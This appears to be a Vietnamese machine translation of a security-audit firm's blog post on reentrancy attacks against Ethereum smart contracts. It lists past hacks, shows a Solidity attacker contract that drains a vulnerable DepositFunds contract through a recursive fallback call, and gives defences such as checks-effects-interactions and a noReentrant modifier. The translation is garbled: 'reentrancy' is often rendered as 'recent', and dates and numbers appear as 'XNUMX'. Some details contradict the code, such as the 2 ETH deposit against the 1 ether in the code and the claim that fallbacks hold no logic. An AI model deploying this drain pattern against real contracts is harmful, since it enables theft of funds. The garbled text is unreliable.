Làm thế nào để thoát khỏi hợp đồng thông minh khỏi cuộc tấn công Reentrancy? Thông tin dữ liệu PlatoBlockchain. Tìm kiếm dọc. Ái.

Làm thế nào để thoát khỏi hợp đồng thông minh khỏi sự ly hợp của các cuộc tấn công gần đây?

Thơi gian đọc: 6 phút

Nếu chúng ta xem xét kỹ hơn các vụ hack tiền điện tử lớn nhất và những con số đáng kinh ngạc bị thua chúng, chúng sẽ bắt nguồn từ những sai sót mã hóa.

Một sự xuất hiện phổ biến của lỗ hổng bảo mật là cuộc tấn công Reentrancy. Tuy nhiên, hiệu ứng hủy diệt gây ra do sơ suất không đúng cách nghe có vẻ không đơn giản như việc tự mình phát động cuộc tấn công.

Mặc dù là một vấn đề quen thuộc và được công khai rộng rãi, nhưng sự xuất hiện của lỗi Reentrancy trong các hợp đồng thông minh luôn là điều không thể tránh khỏi. 

Mức độ thường xuyên của lỗ hổng Reentrancy bị tin tặc khai thác trong những năm qua? Làm thế nào nó hoạt động? Làm thế nào để hạn chế các hợp đồng thông minh mất tiền do lỗi Reentrancy? Tìm câu trả lời cho những câu hỏi này trong blog này.

Vì vậy, trước khi chúng ta tìm hiểu về các cuộc tấn công re-entrancy lớn nhất trong bộ nhớ. 

Một số vụ tấn công gần đây nhất trong thời gian thực khét tiếng 

Các cuộc tấn công gần đây gây ra tác động tàn khốc nhất đối với các dự án cuối cùng đã thực hiện một trong hai hoặc thậm chí cả hai. 

  • Loại bỏ hoàn toàn Ether khỏi các hợp đồng thông minh
  • Tin tặc lẻn vào mã hợp đồng thông minh

Bây giờ chúng ta có thể quan sát một số trường hợp tấn công Reentrancy và tác động của chúng. 

2016 tháng XNUMX: Tấn công DAO - 3.54 triệu hoặc 150 triệu đô la Ether

2020 tháng XNUMX: Hack Uniswap / Lendf.Me - $ 25 triệu

May 2021: Vụ hack BurgerSwap - $ 7.2 triệu

2021 tháng XNUMX: Hack CREAM FINANCE - $ 18.8 triệu

2022 tháng XNUMX: Ola Finance - $ 3.6 triệu

2022 tháng XNUMX: Giao thức OMNI - 1.43 triệu đô la

Rõ ràng là các cuộc tấn công Reentrancy chưa bao giờ lỗi thời. Hãy hiểu sâu hơn về nó trong các đoạn sau. 

Tổng quan về tấn công lần truy cập gần đây

Như từ tên "Reentrancy", có nghĩa là "Tham gia lại nhiều lần." Cuộc tấn công gần đây liên quan đến hai hợp đồng: Hợp đồng nạn nhân và Hợp đồng kẻ tấn công. 

Hợp đồng của kẻ tấn công khai thác lỗ hổng reentrancy trong hợp đồng nạn nhân. Nó sử dụng chức năng rút tiền để đạt được nó. 

Hợp đồng của kẻ tấn công gọi chức năng rút tiền để rút tiền từ hợp đồng nạn nhân bằng cách thực hiện các cuộc gọi lặp lại trước khi số dư trong hợp đồng nạn nhân được cập nhật. Hợp đồng nạn nhân sẽ kiểm tra số dư, gửi tiền và cập nhật số dư. 

Nhưng trong khung thời gian gửi tiền và cập nhật số dư trong hợp đồng, kẻ tấn công hợp đồng thực hiện lệnh gọi rút tiền liên tục. Do đó, số dư không được cập nhật trong hợp đồng nạn nhân cho đến khi hợp đồng của kẻ tấn công rút hết tiền.

Mức độ nghiêm trọng và chi phí khai thác lần truy cập gần đây báo động nhu cầu nghiêm trọng về việc thực hiện kiểm toán hợp đồng thông minh để loại trừ khả năng bỏ qua các lỗi như vậy. 

Hình ảnh minh họa của Reentrancy Attack

Hãy cùng tìm hiểu khái niệm về tấn công lần cuối từ hình minh họa đơn giản bên dưới. 

Đây là hai hợp đồng: Hợp đồng dễ bị tấn công và Hợp đồng hacker

Hợp đồng của hacker thực hiện lời kêu gọi rút khỏi hợp đồng dễ bị tấn công. Khi nhận được cuộc gọi, hợp đồng dễ bị tấn công sẽ kiểm tra số tiền trong hợp đồng của hacker và sau đó chuyển tiền cho hacker. 

Tin tặc nhận được tiền và thực hiện chức năng dự phòng, chức năng này sẽ gọi lại vào hợp đồng dễ bị tổn thương ngay cả trước khi số dư được cập nhật trong hợp đồng dễ bị tổn thương. Do đó, lặp lại cùng một hoạt động, hacker sẽ rút tiền hoàn toàn khỏi hợp đồng dễ bị tấn công. 

Làm thế nào để thoát khỏi hợp đồng thông minh khỏi sự ly hợp của các cuộc tấn công gần đây?

Tính năng của chức năng dự phòng được kẻ tấn công sử dụng 

  • Chúng có thể được gọi từ bên ngoài. Tức là họ không thể được gọi từ trong hợp đồng mà họ được viết
  • Chức năng không tên
  • Hàm dự phòng không bao gồm logic tùy ý bên trong nó
  • Dự phòng được kích hoạt khi ETH được gửi đến hợp đồng thông minh đi kèm và không có hàm nhận () nào được khai báo.

Phân tích cuộc tấn công gần đây từ góc nhìn kỹ thuật 

Hãy lấy một hợp đồng mẫu và hiểu cách thức cuộc tấn công gần đây xảy ra.

Hợp đồng độc hại

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

Đây là hợp đồng của kẻ tấn công, trong đó kẻ tấn công đặt cọc 2ETH. Kẻ tấn công gọi hàm rút tiền trong hợp đồng dễ bị tấn công. Sau khi nhận được tiền từ hợp đồng dễ bị tổn thương, chức năng dự phòng sẽ được kích hoạt. 

Dự phòng sau đó thực hiện chức năng rút tiền và rút tiền khỏi hợp đồng dễ bị tổn thương. Chu kỳ này tiếp tục cho đến khi các khoản tiền hoàn toàn cạn kiệt khỏi hợp đồng dễ bị tổn thương.

Hợp đồng dễ bị tổn thương

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

Hợp đồng dễ bị tấn công có 30ETH. Ở đây, hàm rút tiền () gửi số tiền được yêu cầu cho kẻ tấn công. Vì số dư không được cập nhật, các mã thông báo được chuyển cho kẻ tấn công nhiều lần. 

Các loại tấn công gần đây

  • Lần xuất hiện gần đây của một chức năng 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Msg.sender.call.value (amount) () chuyển tiền mà sau đó, hàm dự phòng hợp đồng của kẻ tấn công gọi rút tiền () một lần nữa trước khi số dư [msg.sender] = 0 được cập nhật.

  • Lần truy cập gần đây trên nhiều chức năng
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Lần gần đây nhất giữa các chức năng phức tạp hơn để xác định. Sự khác biệt ở đây là hàm dự phòng gọi chuyển, không giống như trong lần xuất hiện gần đây của một hàm đơn, nơi nó gọi là rút.

Phòng chống các cuộc tấn công gần đây

Mẫu Kiểm tra-Hiệu ứng-Tương tác: Mô hình kiểm tra-hiệu ứng-tương tác giúp cấu trúc các chức năng. 

Chương trình nên được mã hóa theo cách kiểm tra các điều kiện trước. Sau khi vượt qua kiểm tra, các ảnh hưởng đến trạng thái của hợp đồng sẽ được giải quyết, sau đó các chức năng bên ngoài có thể được gọi. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

Mã được viết lại ở đây tuân theo mô hình kiểm tra-hiệu ứng-tương tác. Ở đây số dư được thực hiện bằng XNUMX trước khi thực hiện cuộc gọi bên ngoài. 

Sử dụng công cụ sửa đổi

Công cụ sửa đổi noReentrant được áp dụng cho hàm đảm bảo không có lệnh gọi reentrant. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Cuối cùng

Bước hiệu quả nhất là thực hiện kiểm tra hợp đồng thông minh từ một công ty bảo mật hàng đầu như QuillAudits, trong đó các kiểm toán viên theo dõi chặt chẽ cấu trúc của mã và kiểm tra xem chức năng dự phòng hoạt động như thế nào. Dựa trên các mô hình đã nghiên cứu, các khuyến nghị được đưa ra để cấu trúc lại mã nếu có vẻ như có bất kỳ những hành vi dễ bị tổn thương

Sự an toàn của quỹ được đảm bảo ngay trước khi trở thành nạn nhân của bất kỳ tổn thất nào. 

Câu Hỏi Thường Gặp

Một cuộc tấn công gần đây là gì?

Một cuộc tấn công reentrancy xảy ra khi một hàm trong hợp đồng dễ bị tấn công thực hiện lệnh gọi đến một hợp đồng không đáng tin cậy. Hợp đồng không đáng tin cậy sẽ là hợp đồng của kẻ tấn công thực hiện các cuộc gọi đệ quy đến hợp đồng dễ bị tấn công cho đến khi hết tiền hoàn toàn. 

Reentrant là gì?

Hành động nhập lại có nghĩa là làm gián đoạn việc thực thi mã và bắt đầu lại quá trình, còn được gọi là nhập lại.

Một người bảo vệ reentrancy là gì?

Reentrancy Guard sử dụng một công cụ sửa đổi để ngăn hàm được gọi nhiều lần. Đọc blog ở trên để tìm ví dụ về bảo vệ gần đây.

Một số cuộc tấn công vào hợp đồng thông minh là gì?

Các hợp đồng thông minh có nhiều lỗ hổng, chẳng hạn như gần đây, phụ thuộc vào dấu thời gian, tràn số học, tấn công DoS, v.v. Vì vậy, kiểm toán là điều bắt buộc để đảm bảo không có lỗi nào làm sụp đổ tính logic của hợp đồng.

69 Lượt xem

Dấu thời gian:

Thêm từ quillhash